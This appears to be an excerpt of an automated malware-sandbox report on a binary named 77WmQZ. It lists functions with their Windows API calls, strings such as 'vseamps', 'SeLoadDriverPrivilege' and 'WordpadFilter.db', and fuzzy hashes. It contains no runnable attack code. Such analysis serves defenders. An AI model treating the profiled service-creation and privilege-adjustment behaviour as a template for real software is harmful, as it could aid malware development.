Part of subcall function 00007FFE1A521B90: Concurrency::cancel_current_task.LIBCPMT ref: 00007FFE1A521BC6

Part of subcall function 00007FFE1A521720: FindFirstFileA.KERNELBASE ref: 00007FFE1A521536

Strings

WordpadFilter.db, xrefs: 00007FFE1A521527

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: Concurrency::cancel_current_taskFree$ConsoleFileFindFirstLibrary
String ID: WordpadFilter.db
API String ID: 868324331-3647581008
Opcode ID: d3782359f8138357475ac289ad5b0888311af99f11814fa5341d046d98142f4f
Instruction ID: 4d6d6e1e264b8d98143f22df4483945add94b7107acdd031bdb96ed5c68d3ce1
Opcode Fuzzy Hash: d3782359f8138357475ac289ad5b0888311af99f11814fa5341d046d98142f4f
Instruction Fuzzy Hash: 4A315932B19F41C9E700CBA2E8402AE73B6FB99B98F1545B6EE4D13B54EE38D156C740

Function 00007FFE1A5211B0 Relevance: 3.2, APIs: 2, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFE1A5214EB
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFE1A5214F7

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: c49bc023de0e2a92928f53e7c16b56888227e9b94bcb6080ad38a6f5ea522257
Instruction ID: cd66a004daeb856ad0fab345d67b68d6a9b00a88d8168a93585ef8955ff3169b
Opcode Fuzzy Hash: c49bc023de0e2a92928f53e7c16b56888227e9b94bcb6080ad38a6f5ea522257
Instruction Fuzzy Hash: 8A812736B1DB8285E6118B76940017AB694FF57FE4F148377EA5D537A2DF3CA0918300

Non-executed Functions

Function 0000000140001A30 Relevance: 37.9, APIs: 30, Instructions: 422memorystringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140001AA6
LeaveCriticalSection.KERNEL32 ref: 0000000140001B30
EnterCriticalSection.KERNEL32 ref: 0000000140001B48
LeaveCriticalSection.KERNEL32 ref: 0000000140001BC9
EnterCriticalSection.KERNEL32 ref: 0000000140001BE6
LeaveCriticalSection.KERNEL32 ref: 0000000140001C67
EnterCriticalSection.KERNEL32 ref: 0000000140001C84
LeaveCriticalSection.KERNEL32 ref: 0000000140001D0D
lstrlenW.KERNEL32 ref: 0000000140001D1F
GetProcessHeap.KERNEL32 ref: 0000000140001D2E
HeapAlloc.KERNEL32 ref: 0000000140001D3C
EnterCriticalSection.KERNEL32 ref: 0000000140001D6F
LeaveCriticalSection.KERNEL32 ref: 0000000140001DF0
lstrlenW.KERNEL32 ref: 0000000140001DFF
GetProcessHeap.KERNEL32 ref: 0000000140001E0E
HeapAlloc.KERNEL32 ref: 0000000140001E1C
EnterCriticalSection.KERNEL32 ref: 0000000140001E4F
LeaveCriticalSection.KERNEL32 ref: 0000000140001ED0
EnterCriticalSection.KERNEL32 ref: 0000000140001EED
LeaveCriticalSection.KERNEL32 ref: 0000000140001F6E
lstrlenW.KERNEL32 ref: 0000000140001F7D
GetProcessHeap.KERNEL32 ref: 0000000140001F8C
HeapAlloc.KERNEL32 ref: 0000000140001F9A
EnterCriticalSection.KERNEL32 ref: 0000000140001FCD
LeaveCriticalSection.KERNEL32 ref: 000000014000204E
lstrlenW.KERNEL32 ref: 000000014000205D
GetProcessHeap.KERNEL32 ref: 000000014000206C
HeapAlloc.KERNEL32 ref: 000000014000207A
EnterCriticalSection.KERNEL32 ref: 00000001400020B4
LeaveCriticalSection.KERNEL32 ref: 000000014000214E

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Heap$AllocProcesslstrlen
String ID:
API String ID: 3526400053-0
Opcode ID: 2d7440e75e10ea9e081ba84afc5c3468ce3eac85d6796ce4805a157c9b29c232
Instruction ID: dcb8fc7c666fd7128fde866f0540a8def7dae1288ec2bbf322971b46f3f62141
Opcode Fuzzy Hash: 2d7440e75e10ea9e081ba84afc5c3468ce3eac85d6796ce4805a157c9b29c232
Instruction Fuzzy Hash: E3220F76211B4086E722DF26F840B9933A1F78CBE5F541226EB5A8B7B4DF3AC585C740

Function 0000000140003F80 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 160timeCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 0000000140003FA2
GetCurrentProcess.KERNEL32 ref: 0000000140003FF6
OpenProcessToken.ADVAPI32 ref: 0000000140004007
GetLastError.KERNEL32 ref: 0000000140004011
LookupPrivilegeValueW.ADVAPI32 ref: 000000014000403A
AdjustTokenPrivileges.ADVAPI32 ref: 0000000140004080
GetLastError.KERNEL32 ref: 000000014000408A
CloseHandle.KERNEL32 ref: 0000000140004095
EnterCriticalSection.KERNEL32 ref: 00000001400040B3
LeaveCriticalSection.KERNEL32 ref: 000000014000412B
GetVersionExW.KERNEL32 ref: 0000000140004155
RpcSsDontSerializeContext.RPCRT4 ref: 000000014000416C
RpcServerUseProtseqEpW.RPCRT4 ref: 0000000140004189
RpcServerRegisterIfEx.RPCRT4 ref: 00000001400041B9
RpcServerListen.RPCRT4 ref: 00000001400041D3
CreateWaitableTimerW.KERNEL32 ref: 0000000140004205
CreateEventW.KERNEL32 ref: 000000014000421C
SetWaitableTimer.KERNEL32 ref: 0000000140004289

Strings

null, xrefs: 0000000140003FCE
ampStartSingletone: logging started, settins=%s, xrefs: 0000000140003FD5
SeLoadDriverPrivilege, xrefs: 000000014000402A

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CriticalSectionServer$CreateErrorLastProcessTimerTokenWaitable$AdjustCloseContextCurrentDontEnterEventHandleInitializeLeaveListenLookupOpenPrivilegePrivilegesProtseqRegisterSerializeValueVersion
String ID: SeLoadDriverPrivilege$ampStartSingletone: logging started, settins=%s$null
API String ID: 3408796845-4213300970
Opcode ID: 126decfa78297cd7188aa212e183f7007b74f13d5c024852e8adcc4be0567069
Instruction ID: 59d58333609de1a5812b0fd1fbb73637b4596d8d749a2627428b03e5fdfefd81
Opcode Fuzzy Hash: 126decfa78297cd7188aa212e183f7007b74f13d5c024852e8adcc4be0567069
Instruction Fuzzy Hash: B19104B1224A4182EB12CF22F854BC633A5F78C7D4F445229FB9A4B6B4DF7AC159CB44

Function 00000001400042B0 Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 59synchronizationtimethreadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042BB
CancelWaitableTimer.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042C8
SetEvent.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042D5
WaitForSingleObject.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042E7
TerminateThread.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042FD
CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000430A
CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004317
CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004324
RpcServerUnregisterIf.RPCRT4 ref: 0000000140004336
RpcMgmtStopServerListening.RPCRT4 ref: 000000014000433E
EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000435A
LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000437F
DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000438C
#4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043C0
LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043CC
DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043D9
#4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043E6

Strings

ampStopSingletone: logging ended, xrefs: 00000001400043B2

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CriticalSection$CloseHandle$DeleteEnterLeaveServer$CancelEventListeningMgmtObjectSingleStopTerminateThreadTimerUnregisterWaitWaitable
String ID: ampStopSingletone: logging ended
API String ID: 2048888615-3533855269
Opcode ID: 304760f1fd88bc3c97c02eb8ad6caf2cea0e78157ea711a11ae6bb1ec958ebce
Instruction ID: 72436faa0f880f3f140bbf81e9e476d17cd4b789f208762ad84a5967a0be411a
Opcode Fuzzy Hash: 304760f1fd88bc3c97c02eb8ad6caf2cea0e78157ea711a11ae6bb1ec958ebce
Instruction Fuzzy Hash: 85315178221A0192EB17DF27EC94BD82361E79CBE1F455111FB0A4B2B1CF7AC5898744

Function 000000014000C3F0 Relevance: 29.0, APIs: 19, Instructions: 515COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eee3a1980859deabbe81d62853d66f73e7f8938a0b91b292409d40ad6238f27
Instruction ID: 939e1951021ac32239a98278383650b1560c4a87fea8e277fdca239b4ddbef52
Opcode Fuzzy Hash: 3eee3a1980859deabbe81d62853d66f73e7f8938a0b91b292409d40ad6238f27
Instruction Fuzzy Hash: 3022CEB2625A8086EB22CF2BF445BEA77A0F78DBC4F444116FB4A476B5DB39C445CB00

Function 0000000140001520 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32 ref: 00000001400015A4
GetLastError.KERNEL32 ref: 00000001400015B2

Part of subcall function 0000000140001430: GetModuleFileNameW.KERNEL32 ref: 000000014000145E
Part of subcall function 0000000140001430: OpenSCManagerW.ADVAPI32 ref: 000000014000146C
Part of subcall function 0000000140001430: GetLastError.KERNEL32 ref: 000000014000147A

Strings

vseamps, xrefs: 0000000140001538
/remove, xrefs: 000000014000157E
/service, xrefs: 000000014000153F

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: ErrorLastManagerOpen$FileModuleName
String ID: /remove$/service$vseamps
API String ID: 67513587-3839141145
Opcode ID: 39fa17c263662ab8de8707f1fae5283c28ed51da3e4186f1b0bc27974e33e859
Instruction ID: ba5f49d8dd96f1c36e401cc1f7cdff7269c229e2e129f463089a9495e32f08e5
Opcode Fuzzy Hash: 39fa17c263662ab8de8707f1fae5283c28ed51da3e4186f1b0bc27974e33e859
Instruction Fuzzy Hash: F031E9B2708B4086EB42DF67B84439AA3A1F78CBD4F480025FF5947B7AEE79C5558704

Function 000000014000F000 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 152libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F042
GetProcAddress.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F05E
GetProcAddress.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F086
GetProcAddress.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F0A5
GetProcAddress.KERNEL32 ref: 000000014000F0F3
GetProcAddress.KERNEL32 ref: 000000014000F117

Part of subcall function 00000001400073E0: LdrLoadDll.NTDLL ref: 00000001400073E2

Strings

USER32.DLL, xrefs: 000000014000F03B
GetProcessWindowStation, xrefs: 000000014000F10D
MessageBoxA, xrefs: 000000014000F054
GetLastActivePopup, xrefs: 000000014000F094
GetUserObjectInformationA, xrefs: 000000014000F0E9
GetActiveWindow, xrefs: 000000014000F075

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: AddressProc$Load$Library
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 3981747205-232180764
Opcode ID: a4a8166f7fb3539f2a033069c8db60d0a751c3badd5dc7e485aee673dfe3cd32
Instruction ID: 2f5902004a3f6de811dc5f380475ae1a3efdd32c0186a6d00da0f9ae6c345c7d
Opcode Fuzzy Hash: a4a8166f7fb3539f2a033069c8db60d0a751c3badd5dc7e485aee673dfe3cd32
Instruction Fuzzy Hash: FE515CB561674181FE66EB63B850BFA2290BB8D7D0F484025BF4E4BBB1EF3DC445A210

Function 00000001400022C0 Relevance: 15.1, APIs: 10, Instructions: 96threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 0000000140002315
CreateEventW.KERNEL32 ref: 0000000140002326
CreateEventW.KERNEL32 ref: 0000000140002340
CreateEventW.KERNEL32 ref: 000000014000235E
RpcImpersonateClient.RPCRT4 ref: 0000000140002372
GetCurrentThread.KERNEL32 ref: 0000000140002390
OpenThreadToken.ADVAPI32 ref: 00000001400023A7
RpcRevertToSelfEx.RPCRT4 ref: 0000000140002402

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: CreateEvent$Thread$ClientCriticalCurrentImpersonateInitializeOpenRevertSectionSelfToken
String ID:
API String ID: 4284112124-0
Opcode ID: edd1c8558eeb60cdd671b70c13388f4905a0e10de3bd345b1359afa696ffe28d
Instruction ID: d1cc2c0b88e239984ef66edc10b99dba483783d79de04edfe0f0364e5ac1fb7c
Opcode Fuzzy Hash: edd1c8558eeb60cdd671b70c13388f4905a0e10de3bd345b1359afa696ffe28d
Instruction Fuzzy Hash: 65415D72604B408AE351CF66F88479EB7A0F78CB94F508129EB8A47B74CF79D595CB40

Function 0000000140001430 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52serviceCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 000000014000145E
OpenSCManagerW.ADVAPI32 ref: 000000014000146C
GetLastError.KERNEL32 ref: 000000014000147A
CreateServiceW.ADVAPI32 ref: 00000001400014D4
CloseServiceHandle.ADVAPI32 ref: 00000001400014E2
CloseServiceHandle.ADVAPI32 ref: 00000001400014F5

Strings

vseamps, xrefs: 00000001400014AD, 00000001400014B4

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Service$CloseHandle$CreateErrorFileLastManagerModuleNameOpen
String ID: vseamps
API String ID: 3693165506-3944098904
Opcode ID: 37866f258d51cd6cd84815c45d3eaefe281d6d9a8e40d6c1e65e6d09f5d7cdba
Instruction ID: 61898eac7960aa5413d410c65d13376abce5a62f28ec8a6c68938921ced9de71
Opcode Fuzzy Hash: 37866f258d51cd6cd84815c45d3eaefe281d6d9a8e40d6c1e65e6d09f5d7cdba
Instruction Fuzzy Hash: F321FCB1204B8086EB56CF66F88439A73A4F78C784F544129E7894B774DF7DC149CB00

Function 0000000140009300 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,?,?,00000000,00000001,000000014000961C,?,?,?,?,?,?,0000000140009131,?,?,00000001), ref: 00000001400093CF

Strings

..., xrefs: 0000000140009431
<program name unknown>, xrefs: 00000001400093D9
Microsoft Visual C++ Runtime Library, xrefs: 00000001400094B4
Runtime Error!Program: , xrefs: 000000014000938D

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: FileModuleName
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 514040917-4022980321
Opcode ID: 1d01bebd6d090e025827d9f03818fc87fa6a91df27b235dcc59e95ab31d19661
Instruction ID: eb4045a5a240d2828a775daba1198261b01968dd91f8e387fbd6cb4ec0284cf4
Opcode Fuzzy Hash: 1d01bebd6d090e025827d9f03818fc87fa6a91df27b235dcc59e95ab31d19661
Instruction Fuzzy Hash: F851EFB131464042FB26DB2BB851BEA2391A78D7E0F484225BF2947AF2DF39C642C304

Function 000000014000BB70 Relevance: 12.3, APIs: 8, Instructions: 256COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32 ref: 000000014000BBDC
GetLastError.KERNEL32 ref: 000000014000BBEC
LCMapStringW.KERNEL32 ref: 000000014000BC5F
WideCharToMultiByte.KERNEL32 ref: 000000014000BCC8
WideCharToMultiByte.KERNEL32 ref: 000000014000BD80
LCMapStringA.KERNEL32 ref: 000000014000BDA3

Part of subcall function 00000001400090F0: HeapAlloc.KERNEL32(?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423,?,?,?,000000014000FC9E), ref: 0000000140009151

LCMapStringA.KERNEL32 ref: 000000014000BE48
MultiByteToWideChar.KERNEL32 ref: 000000014000BEC8

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: String$ByteCharMultiWide$AllocErrorHeapLast
String ID:
API String ID: 2057259594-0
Opcode ID: d3ef643e943a21760fc28678b116a7f08da1d9f04a09311d9013e3bfd6c4d4e3
Instruction ID: f9b9a5bb90e2e08b647a9eb75fc4ff4e18af91537db3c322e1916602633d995e
Opcode Fuzzy Hash: d3ef643e943a21760fc28678b116a7f08da1d9f04a09311d9013e3bfd6c4d4e3
Instruction Fuzzy Hash: B6A16AB22046808AEB66DF27E8407EA77E5F74CBE8F144625FB6947BE4DB78C5408700

Function 0000000140005A70 Relevance: 12.2, APIs: 8, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 0000000140005A8B
GetProcessHeap.KERNEL32 ref: 0000000140005A92
HeapAlloc.KERNEL32 ref: 0000000140005AA3
GetVersionExA.KERNEL32 ref: 0000000140005AE6
GetProcessHeap.KERNEL32 ref: 0000000140005AF0
HeapFree.KERNEL32 ref: 0000000140005AFE
GetProcessHeap.KERNEL32 ref: 0000000140005B22
HeapFree.KERNEL32 ref: 0000000140005B30

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: Heap$Process$Free$AllocInfoStartupVersion
String ID:
API String ID: 3103264659-0
Opcode ID: b926c3abaa2c479ec326760b90e5a1fd11221ebaffc6337adf83b77cd4a46ae1
Instruction ID: 8fdcf1cc106887877eb8bf0912cd84dfc65bead55acac366e092854278e1a3ce
Opcode Fuzzy Hash: b926c3abaa2c479ec326760b90e5a1fd11221ebaffc6337adf83b77cd4a46ae1
Instruction Fuzzy Hash: 0F7167B1604A418AF767EBA3B8557EA2291BB8D7C5F084039FB45472F2EF39C440C741

Function 00007FFE1A522630 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFE1A52264C
RtlCaptureContext.KERNEL32 ref: 00007FFE1A522679
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFE1A522693
RtlVirtualUnwind.KERNEL32 ref: 00007FFE1A5226D4
IsDebuggerPresent.KERNEL32 ref: 00007FFE1A522728
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFE1A522745
UnhandledExceptionFilter.KERNEL32 ref: 00007FFE1A522750

Memory Dump Source

Source File: 00000004.00000002.2181249235.00007FFE1A521000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE1A520000, based on PE: true

Associated: 00000004.00000002.2181229221.00007FFE1A520000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181274188.00007FFE1A532000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181305705.00007FFE1A53D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2181330612.00007FFE1A53F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe1a520000_77WmQZ.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 710f6283529bc39a5878960356047a6e461f095b9b13c17159f2665477d47395
Instruction ID: fc281f1085267cc5fb239afe7a30e2e728ab5dd3696faa282b322ba00db60b50
Opcode Fuzzy Hash: 710f6283529bc39a5878960356047a6e461f095b9b13c17159f2665477d47395
Instruction Fuzzy Hash: 1A313976709F818AEB608F61E8803FD6361FB95B94F4440BADA4E47BA4EF38D548C710

Function 0000000140007C91 Relevance: 9.1, APIs: 6, Instructions: 137COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 0000000140007D66
IsDebuggerPresent.KERNEL32 ref: 0000000140007DAA
SetUnhandledExceptionFilter.KERNEL32 ref: 0000000140007DB4
UnhandledExceptionFilter.KERNEL32 ref: 0000000140007DBF
GetCurrentProcess.KERNEL32 ref: 0000000140007DD5
TerminateProcess.KERNEL32 ref: 0000000140007DE3

Memory Dump Source

Source File: 00000004.00000002.2181097282.0000000140001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.2181076848.0000000140000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181176797.000000014001A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2181195884.000000014001E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_77WmQZ.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerPresentTerminate
String ID:
API String ID: 1269745586-0
Opcode ID: 971e421c69f8e6a9c7be80a9fd1684b11f1d9217f6c56614116cebe2abaa4248
Instruction ID: e2ab3ef72b7f240c54b21dbf897bf6525f512fe4427dd1c0d247b710ac710d4c
Opcode Fuzzy Hash: 971e421c69f8e6a9c7be80a9fd1684b11f1d9217f6c56614116cebe2abaa4248
Instruction Fuzzy Hash: 53115972608B8186D7129F62F8407CE77B0FB89B91F854122EB8A43765EF3DC845CB00

